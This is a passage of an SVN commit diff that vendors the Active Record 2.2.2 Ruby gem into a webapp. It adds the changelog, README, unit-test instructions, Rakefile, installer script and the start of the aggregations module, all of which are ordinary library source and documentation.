+*0.8.4*
+
+_Reflection_
+
+* Added ActiveRecord::Reflection with a bunch of methods and classes for reflecting in aggregations and associations.
+
+* Added Base.columns and Base.content_columns which returns arrays of column description (type, default, etc) objects.
+
+* Added Base#attribute_names which returns an array of names for the attributes available on the object.
+
+* Added Base#column_for_attribute(name) which returns the column description object for the named attribute.
+
+
+_Misc_
+
+* Added multi-parameter assignment:
+
+    # Instantiate objects for all attribute classes that needs more than one constructor parameter. This is done
+    # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
+    # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
+    # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
+    # parenteses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum, f for Float,
+    # s for String, and a for Array.
+  
+  This is incredibly useful for assigning dates from HTML drop-downs of month, year, and day.
+
+* Fixed bug with custom primary key column name and Base.find on multiple parameters.
+
+* Fixed bug with dependent option on has_one associations if there was no associated object.
+
+
+*0.8.3*
+
+_Transactions_
+
+* Added transactional protection for destroy (important for the new :dependent option) [Suggested by Carl Youngblood]
+
+* Fixed so transactions are ignored on MyISAM tables for MySQL (use InnoDB to get transactions)
+
+* Changed transactions so only exceptions will cause a rollback, not returned false.
+
+
+_Mapping_
+
+* Added support for non-integer primary keys [Aredridel/earlier work by Michael Neumann]
+  
+    User.find "jdoe"
+    Product.find "PDKEY-INT-12"
+
+* Added option to specify naming method for primary key column. ActiveRecord::Base.primary_key_prefix_type can either
+  be set to nil, :table_name, or :table_name_with_underscore. :table_name will assume that Product class has a primary key
+  of "productid" and :table_name_with_underscore will assume "product_id". The default nil will just give "id".
+    
+* Added an overwriteable primary_key method that'll instruct AR to the name of the 
+  id column [Aredridele/earlier work by Guan Yang]
+    
+    class Project < ActiveRecord::Base
+      def self.primary_key() "project_id" end
+    end
+
+* Fixed that Active Records can safely associate inside and out of modules.
+
+    class MyApplication::Account < ActiveRecord::Base
+      has_many :clients # will look for MyApplication::Client
+      has_many :interests, :class_name => "Business::Interest" # will look for Business::Interest
+    end
+
+* Fixed that Active Records can safely live inside modules [Aredridel]
+
+    class MyApplication::Account < ActiveRecord::Base
+    end
+
+
+_Misc_
+
+* Added freeze call to value object assignments to ensure they remain immutable [Spotted by Gavin Sinclair]
+ 
+* Changed interface for specifying observed class in observers. Was OBSERVED_CLASS constant, now is 
+  observed_class() class method. This is more consistant with things like self.table_name(). Works like this:
+
+    class AuditObserver < ActiveRecord::Observer
+      def self.observed_class() Account end
+      def after_update(account)
+        AuditTrail.new(account, "UPDATED")
+      end
+    end
+
+  [Suggested by Gavin Sinclair]
+
+* Create new Active Record objects by setting the attributes through a block. Like this:
+
+    person = Person.new do |p|
+      p.name = 'Freddy'
+      p.age  = 19
+    end
+
+  [Suggested by Gavin Sinclair]
+
+
+*0.8.2*
+
+* Added inheritable callback queues that can ensure that certain callback methods or inline fragments are
+  run throughout the entire inheritance hierarchy. Regardless of whether a descendent overwrites the callback
+  method:
+  
+    class Topic < ActiveRecord::Base
+      before_destroy :destroy_author, 'puts "I'm an inline fragment"'
+    end
+  
+  Learn more in link:classes/ActiveRecord/Callbacks.html
+
+* Added :dependent option to has_many and has_one, which will automatically destroy associated objects when 
+  the holder is destroyed:
+  
+    class Album < ActiveRecord::Base
+      has_many :tracks, :dependent => true
+    end
+    
+  All the associated tracks are destroyed when the album is.
+
+* Added Base.create as a factory that'll create, save, and return a new object in one step.
+
+* Automatically convert strings in config hashes to symbols for the _connection methods. This allows you
+  to pass the argument hashes directly from yaml. (Luke)
+
+* Fixed the install.rb to include simple.rb [Spotted by Kevin Bullock]
+
+* Modified block syntax to better follow our code standards outlined in 
+  http://www.rubyonrails.org/CodingStandards
+
+
+*0.8.1*
+
+* Added object-level transactions [Thanks to Austin Ziegler for Transaction::Simple]
+
+* Changed adapter-specific connection methods to use centralized ActiveRecord::Base.establish_connection,
+  which is parametized through a config hash with symbol keys instead of a regular parameter list.
+  This will allow for database connections to be opened in a more generic fashion. (Luke)
+  
+  NOTE: This requires all *_connections to be updated! Read more in:
+  http://ar.rubyonrails.org/classes/ActiveRecord/Base.html#M000081
+
+* Fixed SQLite adapter so objects fetched from has_and_belongs_to_many have proper attributes
+  (t.name is now name). [Spotted by Garrett Rooney]
+
+* Fixed SQLite adapter so dates are returned as Date objects, not Time objects [Spotted by Gavin Sinclair]
+
+* Fixed requirement of date class, so date conversions are succesful regardless of whether you 
+  manually require date or not.
+
+
+*0.8.0*
+
+* Added transactions
+
+* Changed Base.find to also accept either a list (1, 5, 6) or an array of ids ([5, 7]) 
+  as parameter and then return an array of objects instead of just an object
+
+* Fixed method has_collection? for has_and_belongs_to_many macro to behave as a 
+  collection, not an association
+
+* Fixed SQLite adapter so empty or nil values in columns of datetime, date, or time type
+  aren't treated as current time [Spotted by Gavin Sinclair]
+
+
+*0.7.6*
+
+* Fixed the install.rb to create the lib/active_record/support directory [Spotted by Gavin Sinclair]
+* Fixed that has_association? would always return true [Spotted by Daniel Von Fange]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,351 @@
+= Active Record -- Object-relation mapping put on rails
+
+Active Record connects business objects and database tables to create a persistable
+domain model where logic and data are presented in one wrapping. It's an implementation 
+of the object-relational mapping (ORM) pattern[http://www.martinfowler.com/eaaCatalog/activeRecord.html] 
+by the same name as described by Martin Fowler:
+
+  "An object that wraps a row in a database table or view, encapsulates 
+       the database access, and adds domain logic on that data."
+
+Active Record's main contribution to the pattern is to relieve the original of two stunting problems:
+lack of associations and inheritance. By adding a simple domain language-like set of macros to describe
+the former and integrating the Single Table Inheritance pattern for the latter, Active Record narrows the
+gap of functionality between the data mapper and active record approach.
+
+A short rundown of the major features:
+
+* Automated mapping between classes and tables, attributes and columns.
+
+   class Product < ActiveRecord::Base; end
+   
+   ...is automatically mapped to the table named "products", such as:
+   
+   CREATE TABLE products (
+     id int(11) NOT NULL auto_increment,
+     name varchar(255),
+     PRIMARY KEY  (id)
+   );
+
+   ...which again gives Product#name and Product#name=(new_name) 
+   
+  {Learn more}[link:classes/ActiveRecord/Base.html]
+
+
+* Associations between objects controlled by simple meta-programming macros. 
+
+   class Firm < ActiveRecord::Base
+     has_many   :clients
+     has_one    :account
+     belongs_to :conglomorate
+   end
+
+  {Learn more}[link:classes/ActiveRecord/Associations/ClassMethods.html]
+
+
+* Aggregations of value objects controlled by simple meta-programming macros. 
+
+   class Account < ActiveRecord::Base
+     composed_of :balance, :class_name => "Money",
+                 :mapping => %w(balance amount)
+     composed_of :address, 
+                 :mapping => [%w(address_street street), %w(address_city city)]
+   end
+
+  {Learn more}[link:classes/ActiveRecord/Aggregations/ClassMethods.html]
+
+
+* Validation rules that can differ for new or existing objects.
+
+    class Account < ActiveRecord::Base
+      validates_presence_of     :subdomain, :name, :email_address, :password
+      validates_uniqueness_of   :subdomain
+      validates_acceptance_of   :terms_of_service, :on => :create
+      validates_confirmation_of :password, :email_address, :on => :create
+    end
+
+  {Learn more}[link:classes/ActiveRecord/Validations.html]
+ 
+* Callbacks as methods or queues on the entire lifecycle (instantiation, saving, destroying, validating, etc).
+
+   class Person < ActiveRecord::Base
+     def before_destroy # is called just before Person#destroy
+       CreditCard.find(credit_card_id).destroy
+     end
+   end
+
+   class Account < ActiveRecord::Base
+     after_find :eager_load, 'self.class.announce(#{id})'
+   end
+
+  {Learn more}[link:classes/ActiveRecord/Callbacks.html]
+
+
+* Observers for the entire lifecycle
+
+   class CommentObserver < ActiveRecord::Observer
+     def after_create(comment) # is called just after Comment#save
+       Notifications.deliver_new_comment("david at loudthinking.com", comment)
+     end
+   end
+
+  {Learn more}[link:classes/ActiveRecord/Observer.html]
+
+
+* Inheritance hierarchies 
+
+   class Company < ActiveRecord::Base; end
+   class Firm < Company; end
+   class Client < Company; end
+   class PriorityClient < Client; end
+
+  {Learn more}[link:classes/ActiveRecord/Base.html]
+
+
+* Transactions
+
+    # Database transaction
+    Account.transaction do
+      david.withdrawal(100)
+      mary.deposit(100)
+    end
+
+  {Learn more}[link:classes/ActiveRecord/Transactions/ClassMethods.html]
+
+
+* Reflections on columns, associations, and aggregations
+
+    reflection = Firm.reflect_on_association(:clients)
+    reflection.klass # => Client (class)
+    Firm.columns # Returns an array of column descriptors for the firms table
+
+  {Learn more}[link:classes/ActiveRecord/Reflection/ClassMethods.html]
+
+
+* Direct manipulation (instead of service invocation)
+
+  So instead of (Hibernate[http://www.hibernate.org/] example):
+
+     long pkId = 1234;
+     DomesticCat pk = (DomesticCat) sess.load( Cat.class, new Long(pkId) );
+     // something interesting involving a cat...
+     sess.save(cat);
+     sess.flush(); // force the SQL INSERT
+
+  Active Record lets you:
+
+     pkId = 1234
+     cat = Cat.find(pkId)
+     # something even more interesting involving the same cat...
+     cat.save
+
+  {Learn more}[link:classes/ActiveRecord/Base.html]
+
+
+* Database abstraction through simple adapters (~100 lines) with a shared connector
+
+   ActiveRecord::Base.establish_connection(:adapter => "sqlite", :database => "dbfile")
+
+   ActiveRecord::Base.establish_connection(
+     :adapter  => "mysql", 
+     :host     => "localhost", 
+     :username => "me", 
+     :password => "secret", 
+     :database => "activerecord"
+   )
+
+  {Learn more}[link:classes/ActiveRecord/Base.html#M000081] and read about the built-in support for
+  MySQL[link:classes/ActiveRecord/ConnectionAdapters/MysqlAdapter.html], PostgreSQL[link:classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html], SQLite[link:classes/ActiveRecord/ConnectionAdapters/SQLiteAdapter.html], Oracle[link:classes/ActiveRecord/ConnectionAdapters/OracleAdapter.html], SQLServer[link:classes/ActiveRecord/ConnectionAdapters/SQLServerAdapter.html], and DB2[link:classes/ActiveRecord/ConnectionAdapters/DB2Adapter.html].
+
+
+* Logging support for Log4r[http://log4r.sourceforge.net] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc]
+
+    ActiveRecord::Base.logger = Logger.new(STDOUT)
+    ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
+
+
+* Database agnostic schema management with Migrations
+
+    class AddSystemSettings < ActiveRecord::Migration
+      def self.up
+        create_table :system_settings do |t|
+          t.string :name
+          t.string :label
+          t.text :value
+          t.string :type
+          t.integer  :position
+        end
+
+        SystemSetting.create :name => "notice", :label => "Use notice?", :value => 1
+      end
+
+      def self.down
+        drop_table :system_settings
+      end
+    end
+
+  {Learn more}[link:classes/ActiveRecord/Migration.html]
+
+== Simple example (1/2): Defining tables and classes (using MySQL)
+
+Data definitions are specified only in the database. Active Record queries the database for 
+the column names (that then serves to determine which attributes are valid) on regular
+object instantiation through the new constructor and relies on the column names in the rows
+with the finders.
+ 
+   # CREATE TABLE companies (
+   #   id int(11) unsigned NOT NULL auto_increment,
+   #   client_of int(11),
+   #   name varchar(255),
+   #   type varchar(100),
+   #   PRIMARY KEY  (id)
+   # )
+
+Active Record automatically links the "Company" object to the "companies" table
+
+   class Company < ActiveRecord::Base
+     has_many :people, :class_name => "Person"
+   end
+
+   class Firm < Company
+     has_many :clients
+  
+     def people_with_all_clients
+      clients.inject([]) { |people, client| people + client.people }
+     end
+   end
+
+The foreign_key is only necessary because we didn't use "firm_id" in the data definition
+ 
+   class Client < Company
+     belongs_to :firm, :foreign_key => "client_of"
+   end
+
+   # CREATE TABLE people (
+   #   id int(11) unsigned NOT NULL auto_increment,
+   #   name text,
+   #   company_id text,
+   #   PRIMARY KEY  (id)
+   # )
+
+Active Record will also automatically link the "Person" object to the "people" table
+
+   class Person < ActiveRecord::Base
+     belongs_to :company
+   end
+
+== Simple example (2/2): Using the domain
+
+Picking a database connection for all the Active Records
+
+   ActiveRecord::Base.establish_connection(
+     :adapter  => "mysql", 
+     :host     => "localhost", 
+     :username => "me", 
+     :password => "secret", 
+     :database => "activerecord"
+   )
+
+Create some fixtures
+
+   firm = Firm.new("name" => "Next Angle")
+   # SQL: INSERT INTO companies (name, type) VALUES("Next Angle", "Firm")
+   firm.save
+
+   client = Client.new("name" => "37signals", "client_of" => firm.id)
+   # SQL: INSERT INTO companies (name, client_of, type) VALUES("37signals", 1, "Firm")
+   client.save
+
+Lots of different finders
+
+   # SQL: SELECT * FROM companies WHERE id = 1
+   next_angle = Company.find(1)
+
+   # SQL: SELECT * FROM companies WHERE id = 1 AND type = 'Firm'
+   next_angle = Firm.find(1)    
+
+   # SQL: SELECT * FROM companies WHERE id = 1 AND name = 'Next Angle'
+   next_angle = Company.find(:first, :conditions => "name = 'Next Angle'")
+
+   next_angle = Firm.find_by_sql("SELECT * FROM companies WHERE id = 1").first
+
+The supertype, Company, will return subtype instances
+
+   Firm === next_angle
+
+All the dynamic methods added by the has_many macro
+
+  next_angle.clients.empty?  # true
+  next_angle.clients.size    # total number of clients
+  all_clients = next_angle.clients
+
+Constrained finds makes access security easier when ID comes from a web-app
+
+   # SQL: SELECT * FROM companies WHERE client_of = 1 AND type = 'Client' AND id = 2
+   thirty_seven_signals = next_angle.clients.find(2)
+
+Bi-directional associations thanks to the "belongs_to" macro
+
+   thirty_seven_signals.firm.nil? # true
+
+
+== Philosophy 
+
+Active Record attempts to provide a coherent wrapper as a solution for the inconvenience that is 
+object-relational mapping. The prime directive for this mapping has been to minimize
+the amount of code needed to build a real-world domain model. This is made possible
+by relying on a number of conventions that make it easy for Active Record to infer
+complex relations and structures from a minimal amount of explicit direction.
+
+Convention over Configuration:
+* No XML-files!
+* Lots of reflection and run-time extension
+* Magic is not inherently a bad word 
+
+Admit the Database:
+* Lets you drop down to SQL for odd cases and performance
+* Doesn't attempt to duplicate or replace data definitions
+
+
+== Download
+
+The latest version of Active Record can be found at
+
+* http://rubyforge.org/project/showfiles.php?group_id=182
+
+Documentation can be found at 
+
+* http://ar.rubyonrails.com
+
+
+== Installation
+
+The prefered method of installing Active Record is through its GEM file. You'll need to have
+RubyGems[http://rubygems.rubyforge.org/wiki/wiki.pl] installed for that, though. If you have,
+then use:
+
+  % [sudo] gem install activerecord-1.10.0.gem
+
+You can also install Active Record the old-fashioned way with the following command:
+
+  % [sudo] ruby install.rb
+
+from its distribution directory.
+
+
+== License
+
+Active Record is released under the MIT license.
+
+
+== Support
+
+The Active Record homepage is http://www.rubyonrails.com. You can find the Active Record
+RubyForge page at http://rubyforge.org/projects/activerecord. And as Jim from Rake says:
+
+   Feel free to submit commits or feature requests.  If you send a patch,
+   remember to update the corresponding unit tests.  If fact, I prefer
+   new feature to be submitted in the form of new unit tests.
+
+For other information, feel free to ask on the rubyonrails-talk 
+(http://groups.google.com/group/rubyonrails-talk) mailing list.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/RUNNING_UNIT_TESTS
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/RUNNING_UNIT_TESTS	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/RUNNING_UNIT_TESTS	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,36 @@
+== Creating the test database
+
+The default names for the test databases are "activerecord_unittest" and 
+"activerecord_unittest2". If you want to use another database name then be sure 
+to update the connection adapter setups you want to test with in 
+test/connections/<your database>/connection.rb. 
+When you have the database online, you can import the fixture tables with 
+the test/schema/*.sql files.
+
+Make sure that you create database objects with the same user that you specified in 
+connection.rb otherwise (on Postgres, at least) tests for default values will fail.
+
+== Running with Rake
+
+The easiest way to run the unit tests is through Rake. The default task runs
+the entire test suite for all the adapters. You can also run the suite on just
+one adapter by using the tasks test_mysql, test_sqlite, test_postgresql or any
+of the other test_ tasks. For more information, checkout the full array of rake
+tasks with "rake -T"
+
+Rake can be found at http://rake.rubyforge.org
+
+== Running by hand
+
+Unit tests are located in test/cases directory. If you only want to run a single test suite, 
+you can do so with:
+
+   rake test_mysql TEST=test/cases/base_test.rb
+   
+That'll run the base suite using the MySQL-Ruby adapter.  Some tests rely on the schema
+being initialized - you can initialize the schema with:
+
+  rake test_mysql TEST=test/cases/aaa_create_tables_test.rb
+
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,247 @@
+require 'rubygems'
+require 'rake'
+require 'rake/testtask'
+require 'rake/rdoctask'
+require 'rake/packagetask'
+require 'rake/gempackagetask'
+require 'rake/contrib/sshpublisher'
+
+require File.join(File.dirname(__FILE__), 'lib', 'active_record', 'version')
+require File.expand_path(File.dirname(__FILE__)) + "/test/config"
+
+PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
+PKG_NAME      = 'activerecord'
+PKG_VERSION   = ActiveRecord::VERSION::STRING + PKG_BUILD
+PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
+
+RELEASE_NAME  = "REL #{PKG_VERSION}"
+
+RUBY_FORGE_PROJECT = "activerecord"
+RUBY_FORGE_USER    = "webster132"
+
+MYSQL_DB_USER = 'rails'
+
+PKG_FILES = FileList[
+    "lib/**/*", "test/**/*", "examples/**/*", "doc/**/*", "[A-Z]*", "install.rb", "Rakefile"
+].exclude(/\bCVS\b|~$/)
+
+
+desc 'Run mysql, sqlite, and postgresql tests by default'
+task :default => :test
+
+desc 'Run mysql, sqlite, and postgresql tests'
+task :test => %w(test_mysql test_sqlite3 test_postgresql)
+
+for adapter in %w( mysql postgresql sqlite sqlite3 firebird db2 oracle sybase openbase frontbase )
+  Rake::TestTask.new("test_#{adapter}") { |t|
+    t.libs << "test" << "test/connections/native_#{adapter}"
+    adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z]+/]
+    t.test_files=Dir.glob( "test/cases/**/*_test{,_#{adapter_short}}.rb" ).sort
+    t.verbose = true
+  }
+
+  namespace adapter do
+    task :test => "test_#{adapter}"
+  end
+end
+
+namespace :mysql do
+  desc 'Build the MySQL test databases'
+  task :build_databases do
+    %x( mysqladmin --user=#{MYSQL_DB_USER} create activerecord_unittest )
+    %x( mysqladmin --user=#{MYSQL_DB_USER} create activerecord_unittest2 )
+  end
+
+  desc 'Drop the MySQL test databases'
+  task :drop_databases do
+    %x( mysqladmin --user=#{MYSQL_DB_USER} -f drop activerecord_unittest )
+    %x( mysqladmin --user=#{MYSQL_DB_USER} -f drop activerecord_unittest2 )
+  end
+
+  desc 'Rebuild the MySQL test databases'
+  task :rebuild_databases => [:drop_databases, :build_databases]
+end
+
+task :build_mysql_databases => 'mysql:build_databases'
+task :drop_mysql_databases => 'mysql:drop_databases'
+task :rebuild_mysql_databases => 'mysql:rebuild_databases'
+
+
+namespace :postgresql do
+  desc 'Build the PostgreSQL test databases'
+  task :build_databases do
+    %x( createdb activerecord_unittest )
+    %x( createdb activerecord_unittest2 )
+  end
+
+  desc 'Drop the PostgreSQL test databases'
+  task :drop_databases do
+    %x( dropdb activerecord_unittest )
+    %x( dropdb activerecord_unittest2 )
+  end
+
+  desc 'Rebuild the PostgreSQL test databases'
+  task :rebuild_databases => [:drop_databases, :build_databases]
+end
+
+task :build_postgresql_databases => 'postgresql:build_databases'
+task :drop_postgresql_databases => 'postgresql:drop_databases'
+task :rebuild_postgresql_databases => 'postgresql:rebuild_databases'
+
+
+namespace :frontbase do
+  desc 'Build the FrontBase test databases'
+  task :build_databases => :rebuild_frontbase_databases
+
+  desc 'Rebuild the FrontBase test databases'
+  task :rebuild_databases do
+    build_frontbase_database = Proc.new do |db_name, sql_definition_file|
+      %(
+        STOP DATABASE #{db_name};
+        DELETE DATABASE #{db_name};
+        CREATE DATABASE #{db_name};
+
+        CONNECT TO #{db_name} AS SESSION_NAME USER _SYSTEM;
+        SET COMMIT FALSE;
+
+        CREATE USER RAILS;
+        CREATE SCHEMA RAILS AUTHORIZATION RAILS;
+        COMMIT;
+
+        SET SESSION AUTHORIZATION RAILS;
+        SCRIPT '#{sql_definition_file}';
+
+        COMMIT;
+
+        DISCONNECT ALL;
+      )
+    end
+    create_activerecord_unittest  = build_frontbase_database['activerecord_unittest',  File.join(SCHEMA_ROOT, 'frontbase.sql')]
+    create_activerecord_unittest2 = build_frontbase_database['activerecord_unittest2', File.join(SCHEMA_ROOT, 'frontbase2.sql')]
+    execute_frontbase_sql = Proc.new do |sql|
+      system(<<-SHELL)
+      /Library/FrontBase/bin/sql92 <<-SQL
+      #{sql}
+      SQL
+      SHELL
+    end
+    execute_frontbase_sql[create_activerecord_unittest]
+    execute_frontbase_sql[create_activerecord_unittest2]
+  end
+end
+
+task :build_frontbase_databases => 'frontbase:build_databases'
+task :rebuild_frontbase_databases => 'frontbase:rebuild_databases'
+
+
+# Generate the RDoc documentation
+
+Rake::RDocTask.new { |rdoc|
+  rdoc.rdoc_dir = 'doc'
+  rdoc.title    = "Active Record -- Object-relation mapping put on rails"
+  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+  rdoc.options << '--charset' << 'utf-8'
+  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
+  rdoc.rdoc_files.include('README', 'RUNNING_UNIT_TESTS', 'CHANGELOG')
+  rdoc.rdoc_files.include('lib/**/*.rb')
+  rdoc.rdoc_files.exclude('lib/active_record/vendor/*')
+  rdoc.rdoc_files.include('dev-utils/*.rb')
+}
+
+# Enhance rdoc task to copy referenced images also
+task :rdoc do
+  FileUtils.mkdir_p "doc/files/examples/"
+  FileUtils.copy "examples/associations.png", "doc/files/examples/associations.png"
+end
+
+
+# Create compressed packages
+
+dist_dirs = [ "lib", "test", "examples" ]
+
+spec = Gem::Specification.new do |s|
+  s.platform = Gem::Platform::RUBY
+  s.name = PKG_NAME
+  s.version = PKG_VERSION
+  s.summary = "Implements the ActiveRecord pattern for ORM."
+  s.description = %q{Implements the ActiveRecord pattern (Fowler, PoEAA) for ORM. It ties database tables and classes together for business objects, like Customer or Subscription, that can find, save, and destroy themselves without resorting to manual SQL.}
+
+  s.files = [ "Rakefile", "install.rb", "README", "RUNNING_UNIT_TESTS", "CHANGELOG" ]
+  dist_dirs.each do |dir|
+    s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
+  end
+
+  s.add_dependency('activesupport', '= 2.2.2' + PKG_BUILD)
+
+  s.files.delete FIXTURES_ROOT + "/fixture_database.sqlite"
+  s.files.delete FIXTURES_ROOT + "/fixture_database_2.sqlite"
+  s.files.delete FIXTURES_ROOT + "/fixture_database.sqlite3"
+  s.files.delete FIXTURES_ROOT + "/fixture_database_2.sqlite3"
+  s.require_path = 'lib'
+  s.autorequire = 'active_record'
+
+  s.has_rdoc = true
+  s.extra_rdoc_files = %w( README )
+  s.rdoc_options.concat ['--main',  'README']
+
+  s.author = "David Heinemeier Hansson"
+  s.email = "david at loudthinking.com"
+  s.homepage = "http://www.rubyonrails.org"
+  s.rubyforge_project = "activerecord"
+end
+
+Rake::GemPackageTask.new(spec) do |p|
+  p.gem_spec = spec
+  p.need_tar = true
+  p.need_zip = true
+end
+
+task :lines do
+  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+  for file_name in FileList["lib/active_record/**/*.rb"]
+    next if file_name =~ /vendor/
+    f = File.open(file_name)
+
+    while line = f.gets
+      lines += 1
+      next if line =~ /^\s*$/
+      next if line =~ /^\s*#/
+      codelines += 1
+    end
+    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+
+    total_lines     += lines
+    total_codelines += codelines
+
+    lines, codelines = 0, 0
+  end
+
+  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+end
+
+
+# Publishing ------------------------------------------------------
+
+desc "Publish the beta gem"
+task :pgem => [:package] do
+  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
+  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
+end
+
+desc "Publish the API documentation"
+task :pdoc => [:rdoc] do
+  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ar", "doc").upload
+end
+
+desc "Publish the release files to RubyForge."
+task :release => [ :package ] do
+  require 'rubyforge'
+  require 'rake/contrib/rubyforgepublisher'
+
+  packages = %w( gem tgz zip ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
+
+  rubyforge = RubyForge.new
+  rubyforge.login
+  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/examples/associations.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/examples/associations.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/install.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/install.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/install.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'rbconfig'
+require 'find'
+require 'ftools'
+
+include Config
+
+# this was adapted from rdoc's install.rb by ways of Log4r
+
+$sitedir = CONFIG["sitelibdir"]
+unless $sitedir
+  version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
+  $libdir = File.join(CONFIG["libdir"], "ruby", version)
+  $sitedir = $:.find {|x| x =~ /site_ruby/ }
+  if !$sitedir
+    $sitedir = File.join($libdir, "site_ruby")
+  elsif $sitedir !~ Regexp.quote(version)
+    $sitedir = File.join($sitedir, version)
+  end
+end
+
+# the actual gruntwork
+Dir.chdir("lib")
+
+Find.find("active_record", "active_record.rb") { |f|
+  if f[-3..-1] == ".rb"
+    File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
+  else
+    File::makedirs(File.join($sitedir, *f.split(/\//)))
+  end
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/aggregations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/aggregations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/aggregations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,261 @@
+module ActiveRecord
+  module Aggregations # :nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+    end
+
+    def clear_aggregation_cache #:nodoc:
+      self.class.reflect_on_all_aggregations.to_a.each do |assoc|
+        instance_variable_set "@#{assoc.name}", nil
+      end unless self.new_record?
+    end
+
+    # Active Record implements aggregation through a macro-like class method called +composed_of+ for representing attributes
+    # as value objects. It expresses relationships like "Account [is] composed of Money [among other things]" or "Person [is]
+    # composed of [an] address". Each call to the macro adds a description of how the value objects are created from the
+    # attributes of the entity object (when the entity is initialized either as a new object or from finding an existing object)
+    # and how it can be turned back into attributes (when the entity is saved to the database). Example:
+    #
+    #   class Customer < ActiveRecord::Base
+    #     composed_of :balance, :class_name => "Money", :mapping => %w(balance amount)
+    #     composed_of :address, :mapping => [ %w(address_street street), %w(address_city city) ]
+    #   end
+    #
+    # The customer class now has the following methods to manipulate the value objects:
+    # * <tt>Customer#balance, Customer#balance=(money)</tt>
+    # * <tt>Customer#address, Customer#address=(address)</tt>
+    #
+    # These methods will operate with value objects like the ones described below:
+    #
+    #  class Money
+    #    include Comparable
+    #    attr_reader :amount, :currency
+    #    EXCHANGE_RATES = { "USD_TO_DKK" => 6 }
+    #
+    #    def initialize(amount, currency = "USD")
+    #      @amount, @currency = amount, currency
+    #    end
+    #
+    #    def exchange_to(other_currency)
+    #      exchanged_amount = (amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor
+    #      Money.new(exchanged_amount, other_currency)
+    #    end
+    #
+    #    def ==(other_money)
+    #      amount == other_money.amount && currency == other_money.currency
+    #    end
+    #
+    #    def <=>(other_money)
+    #      if currency == other_money.currency
+    #        amount <=> amount
+    #      else
+    #        amount <=> other_money.exchange_to(currency).amount
+    #      end
+    #    end
+    #  end
+    #
+    #  class Address
+    #    attr_reader :street, :city
+    #    def initialize(street, city)
+    #      @street, @city = street, city
+    #    end
+    #
+    #    def close_to?(other_address)
+    #      city == other_address.city
+    #    end
+    #
+    #    def ==(other_address)
+    #      city == other_address.city && street == other_address.street
+    #    end
+    #  end
+    #
+    # Now it's possible to access attributes from the database through the value objects instead. If you choose to name the
+    # composition the same as the attribute's name, it will be the only way to access that attribute. That's the case with our
+    # +balance+ attribute. You interact with the value objects just like you would any other attribute, though:
+    #
+    #   customer.balance = Money.new(20)     # sets the Money value object and the attribute
+    #   customer.balance                     # => Money value object
+    #   customer.balance.exchange_to("DKK")  # => Money.new(120, "DKK")
+    #   customer.balance > Money.new(10)     # => true
+    #   customer.balance == Money.new(20)    # => true
+    #   customer.balance < Money.new(5)      # => false
+    #
+    # Value objects can also be composed of multiple attributes, such as the case of Address. The order of the mappings will
+    # determine the order of the parameters. Example:
+    #
